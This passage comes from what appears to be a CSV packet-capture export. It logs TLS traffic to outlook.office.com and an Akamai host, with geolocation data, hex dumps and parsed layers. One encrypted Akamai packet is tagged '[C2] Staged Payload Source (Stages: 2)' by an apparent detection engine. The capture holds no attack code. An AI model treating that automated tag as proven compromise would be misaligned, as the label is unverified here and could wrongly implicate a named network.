\"\"dport\"\": 63946, \"\"seq\"\": 553024073, \"\"ack\"\": 1308798363, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:43.319875,22,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=2933371153 Ack=0,bc24112907bbbc2411360d0c080045000034139c400080064fff0a98980b2863cc22f9dc01bbaed7b111000000008002ffff7c660000020405b40103030801010402,\".$.)...$.6\n...E..4..@...O.\n...(c.\"\"................|f..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 5020, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20479, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371153, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 31846, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-28 14:01:43.319935,23,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=869421592 Ack=2933371154,bc2411360d0cbc24112907bb080045000034000040004006a39b2863cc220a98980b01bbf9dc33d25218aed7b1128012faf0974f0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...(c.\"\"\n.......3.R..........O.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41883, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869421592, \"\"ack\"\": 2933371154, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 38735, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-28 14:01:43.320111,24,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2933371154 Ack=869421593,bc24112907bbbc2411360d0c080045000028139d40008006500a0a98980b2863cc22f9dc01bbaed7b11233d2521950100400333e0000,\".$.)...$.6\n...E..(..@...P\n\n...(c.\"\"........3.R.P...3>..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5021, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20490, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371154, \"\"ack\"\": 869421593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 13118, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:43.321590,25,TCP 10.152.152.11:63964 -> 40.99.204.34:443,10.152.152.11,40.99.204.34,63964,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2933371154 Ack=869421593,bc24112907bbbc2411360d0c0800450000f3139e400080064f3e0a98980b2863cc22f9dc01bbaed7b11233d25219501804001ef3000016030300c6010000c203036a418bb503035a7aa06444421b8d0c3c48c072c67a0ba26706bf745c3e098419000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000730000001700150000126f75746c6f6f6b2e6f66666963652e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...O>\n...(c.\"\"........3.R.P..................jA....Zz.dDB...<H.r.z..g..t\\>\t....&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...s.........outlook.office.com..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 243, \"\"id\"\": 5022, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20286, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63964, \"\"dport\"\": 443, \"\"seq\"\": 2933371154, \"\"ack\"\": 869421593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 7923, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 198, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=194 version=TLS 1.2 gmt_unix_time=Sun, 28 Jun 2026 21:01:41  (1782680501) random_bytes=03035a7aa06444421b8d0c3c48c072c67a0ba26706bf745c3e098419 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=115 ext=[<TLS_Ext_ServerName  type=server_name len=23 servernameslen=21 servernames=[b'outlook.office.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:43.321608,26,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=869421593 Ack=2933371357,bc2411360d0cbc24112907bb080045000028c72b40004006dc7b2863cc220a98980b01bbf9dc33d25219aed7b1dd5010003f97430000,\".$.6\n..$.)....E..(.+@.@..{(c.\"\"\n.......3.R.....P..?.C..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50987, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56443, \"\"src\"\": \"\"40.99.204.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63964, \"\"seq\"\": 869421593, \"\"ack\"\": 2933371357, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38723, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:43.965520,27,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=553024073 Ack=1308798363,bc2411360d0cbc24112907bb0800450002a1a07e400040069fd1b81e9d450a98980b01bbf9ca20f67a494e02ad9b5018003ffa9a00001703030274490b3b35e8f50920e6b643cb16c24760f13bfc941b02278881b2253a8f0e5e6b0b571f74f9ebd002949bc8c505cd0d4c0a9eb5c1ec5c2da2035d6df28155496a7592f3a35cf0b236a799343b9126aff666e926d5ae76f0a537c413465f9301e2c6bfe77e5a61c49819290278a83ed92c4e7c1cf773a4ed16386e01ff9b2c0f2049c5b12f9a97dc62b1a07ea2fbeb9062f6f573d8b48497fd7c3968f2201551fa321ebe3c7b45f330742fb1669187cd82e5e9a184f9996d03ff7c73630a4bebba140f9525023618b997c5b50c9cca6cccec61c556d91371844c357c8d102c616b3d0b0a4265c8fd084f8770bf0e0b02248c49e014bc63d614e008d4325d0b38f0053a4d6712e37815e5066c4d9b70fa7374a17c6bf06ed2e01cd0d553eff61a439026070b91a6918e0443d41db748876b777de17577fd928d6e95fc87b67742e17be5aaa7b0aa5f45de0541a90828af17ecdda3718444081a678bcd43599655974bcae502f7babfe03ab05444463cddbaf853f9671b8be18ff7ccd24f41ea410aae4379c559c49d7813150d896f8676801696c5e5bbf746cc7ed541ff989c42365a19efb408140c425527c00062b59757623cf31a0a2cbd2f01a46bd34f4ed634565e3568f15244a08898e1fd7d4ad4c251ba2d6116878d0edaba6e8b6429bbf7610507d7cb7b093b16b5c15d1aeb291000ef2c6d743b41eeb1aff8f7595d96b1067d8d58345bf4c5f931d266db5a4d915d4934f44821d0d9d31759fe5e9b553cc15d084be456eea20734f1dc119873e617f58abaa92c8bf7c22dec99ef35ab4ce504c285112b59178f06f737516cecaf36c78e42f09879c9d291fe15dd3d1ad0a5dfec327786d63fc6defa6ff39c39c56618a390,\".$.6\n..$.)....E....~@.@......E\n....... .zIN...P..?........tI.;5..\t ..C...G`.;....'...%:..^k.W.t..........\nL\n....\\-..]m..UIju...\\..6..4;.&..f.&..v..7..F_......~Za...).x.>.,N|..s...8n...,. I../...b..~....b..s.....|9h. .Q.2..<{E.0t/.f..........m..|sc\nK.....%.6........l..a.V..q.L5|..,ak=.\nBe...O.p....$.I...c.....2].8..:Mg..x...lM.p.st.|k.n.....S...C.&.......C...H.kw}.uw...n....wB.{....._E..A..(.....q.D..g..CY.U.K.......:.TDF<...S.g.......OA.A\n.Cy.Y..x..\n.o.v.......F.~.A...B6Z......BU'..b..Wb<..\n,./..k.ON.4V^5h.RD.....}J..Q.-a......n.d)..a....{\t;...]..)...,mt;A.....Y]...}.X4[...1.f.ZM.]I4.H!....Y.^.U<.].K.V...4....s......,...-...5.L.....+Y....7Ql..6..B..y......=.....2w..?...o..9.f...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 673, \"\"id\"\": 41086, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40913, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553024073, \"\"ack\"\": 1308798363, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 64154, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 628, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"I\\\\x0b;5\\\\xe8\\\\xf5\\\\t \\\\xe6\\\\xb6C\\\\xcb\\\\x16\\\\xc2G`\\\\xf1;\\\\xfc\\\\x94\\\\x1b\\\\x02'\\\\x88\\\\x81\\\\xb2%:\\\\x8f\\\\x0e^k\\\\x0bW\\\\x1ft\\\\xf9\\\\xeb\\\\xd0\\\\x02\\\\x94\\\\x9b\\\\xc8\\\\xc5\\\\x05\\\\xcd\\\\rL\\\\n\\\\x9e\\\\xb5\\\\xc1\\\\xec\\\\\\\\-\\\\xa2\\\\x03]m\\\\xf2\\\\x81UIju\\\\x92\\\\xf3\\\\xa3\\\\\\\\\\\\xf0\\\\xb26\\\\xa7\\\\x994;\\\\x91&\\\\xaf\\\\xf6f\\\\xe9&\\\\xd5\\\\xaev\\\\xf0\\\\xa57\\\\xc4\\\\x13F_\\\\x93\\\\x01\\\\xe2\\\\xc6\\\\xbf\\\\xe7~Za\\\\xc4\\\\x98\\\\x19)\\\\x02x\\\\xa8>\\\\xd9,N|\\\\x1c\\\\xf7s\\\\xa4\\\\xed\\\\x168n\\\\x01\\\\xff\\\\x9b,\\\\x0f I\\\\xc5\\\\xb1/\\\\x9a\\\\x97\\\\xdcb\\\\xb1\\\\xa0~\\\\xa2\\\\xfb\\\\xeb\\\\x90b\\\\xf6\\\\xf5s\\\\xd8\\\\xb4\\\\x84\\\\x97\\\\xfd|9h\\\\xf2 \\\\x15Q\\\\xfa2\\\\x1e\\\\xbe<{E\\\\xf30t/\\\\xb1f\\\\x91\\\\x87\\\\xcd\\\\x82\\\\xe5\\\\xe9\\\\xa1\\\\x84\\\\xf9\\\\x99m\\\\x03\\\\xff|sc\\\\nK\\\\xeb\\\\xba\\\\x14\\\\x0f\\\\x95%\\\\x026\\\\x18\\\\xb9\\\\x97\\\\xc5\\\\xb5\\\\x0c\\\\x9c\\\\xcal\\\\xcc\\\\xeca\\\\xc5V\\\\xd9\\\\x13q\\\\x84L5|\\\\x8d\\\\x10,ak=\\\\x0b\\\\nBe\\\\xc8\\\\xfd\\\\x08O\\\\x87p\\\\xbf\\\\x0e\\\\x0b\\\\x02$\\\\x8cI\\\\xe0\\\\x14\\\\xbcc\\\\xd6\\\\x14\\\\xe0\\\\x08\\\\xd42]\\\\x0b8\\\\xf0\\\\x05:Mg\\\\x12\\\\xe3x\\\\x15\\\\xe5\\\\x06lM\\\\x9bp\\\\xfast\\\\xa1|k\\\\xf0n\\\\xd2\\\\xe0\\\\x1c\\\\xd0\\\\xd5S\\\\xef\\\\xf6\\\\x1aC\\\\x90&\\\\x07\\\\x0b\\\\x91\\\\xa6\\\\x91\\\\x8e\\\\x04C\\\\xd4\\\\x1d\\\\xb7H\\\\x87kw}\\\\xe1uw\\\\xfd\\\\x92\\\\x8dn\\\\x95\\\\xfc\\\\x87\\\\xb6wB\\\\xe1{\\\\xe5\\\\xaa\\\\xa7\\\\xb0\\\\xaa_E\\\\xde\\\\x05A\\\\xa9\\\\x08(\\\\xaf\\\\x17\\\\xec\\\\xdd\\\\xa3q\\\\x84D\\\\x08\\\\x1ag\\\\x8b\\\\xcdCY\\\\x96U\\\\x97K\\\\xca\\\\xe5\\\\x02\\\\xf7\\\\xba\\\\xbf\\\\xe0:\\\\xb0TDF<\\\\xdd\\\\xba\\\\xf8S\\\\xf9g\\\\x1b\\\\x8b\\\\xe1\\\\x8f\\\\xf7\\\\xcc\\\\xd2OA\\\\xeaA\\\\n\\\\xaeCy\\\\xc5Y\\\\xc4\\\\x9dx\\\\x13\\\\x15\\\\r\\\\x89o\\\\x86v\\\\x80\\\\x16\\\\x96\\\\xc5\\\\xe5\\\\xbb\\\\xf7F\\\\xcc~\\\\xd5A\\\\xff\\\\x98\\\\x9cB6Z\\\\x19\\\\xef\\\\xb4\\\\x08\\\\x14\\\\x0cBU'\\\\xc0\\\\x00b\\\\xb5\\\\x97Wb<\\\\xf3\\\\x1a\\\\n,\\\\xbd/\\\\x01\\\\xa4k\\\\xd3ON\\\\xd64V^5h\\\\xf1RD\\\\xa0\\\\x88\\\\x98\\\\xe1\\\\xfd}J\\\\xd4\\\\xc2Q\\\\xba-a\\\\x16\\\\x87\\\\x8d\\\\x0e\\\\xda\\\\xban\\\\x8bd)\\\\xbb\\\\xf7a\\\\x05\\\\x07\\\\xd7\\\\xcb{\\\\t;\\\\x16\\\\xb5\\\\xc1]\\\\x1a\\\\xeb)\\\\x10\\\\x00\\\\xef,mt;A\\\\xee\\\\xb1\\\\xaf\\\\xf8\\\\xf7Y]\\\\x96\\\\xb1\\\\x06}\\\\x8dX4[\\\\xf4\\\\xc5\\\\xf91\\\\xd2f\\\\xdbZM\\\\x91]I4\\\\xf4H!\\\\xd0\\\\xd9\\\\xd3\\\\x17Y\\\\xfe^\\\\x9bU<\\\\xc1]\\\\x08K\\\\xe4V\\\\xee\\\\xa2\\\\x074\\\\xf1\\\\xdc\\\\x11\\\\x98s\\\\xe6\\\\x17\\\\xf5\\\\x8a\\\\xba\\\\xa9,\\\\x8b\\\\xf7\\\\xc2-\\\\xec\\\\x99\\\\xef5\\\\xabL\\\\xe5\\\\x04\\\\xc2\\\\x85\\\\x11+Y\\\\x17\\\\x8f\\\\x06\\\\xf77Ql\\\\xec\\\\xaf6\\\\xc7\\\\x8eB\\\\xf0\\\\x98y\\\\xc9\\\\xd2\\\\x91\\\\xfe\\\\x15\\\\xdd=\\\\x1a\\\\xd0\\\\xa5\\\\xdf\\\\xec2w\\\\x86\\\\xd6?\\\\xc6\\\\xde\\\\xfao\\\\xf3\\\\x9c9\\\\xc5f\\\\x18\\\\xa3\\\\x90\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:44.012618,28,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308798363 Ack=553024706,bc24112907bbbc2411360d0c0800450000282fb940008006d30f0a98980bb81e9d45f9ca01bb4e02ad9b20f67cc25010201202df0000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .|.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12217, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54031, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308798363, \"\"ack\"\": 553024706, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8210, \"\"chksum\"\": 735, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:44.243009,29,TCP 40.99.204.34:443 -> 10.152.152.11:63964,40.99.204.34,10.152.152.11,443,63964,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=869421593 Ack=2933371357,bc2411360d0cbc24112907bb080045000ff8c72c40004006ccaa2863cc220a98980b01bbf9dc33d25219aed7b1dd5018003fa7130000160303110b0200006603036a4129471bce49dc109e0aae6ffcc15aba7bb5b54e711dee444f574e475244012086480000996bda2937d86d752877968c48595e564eb94c5fb2b65caaeca3b642c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d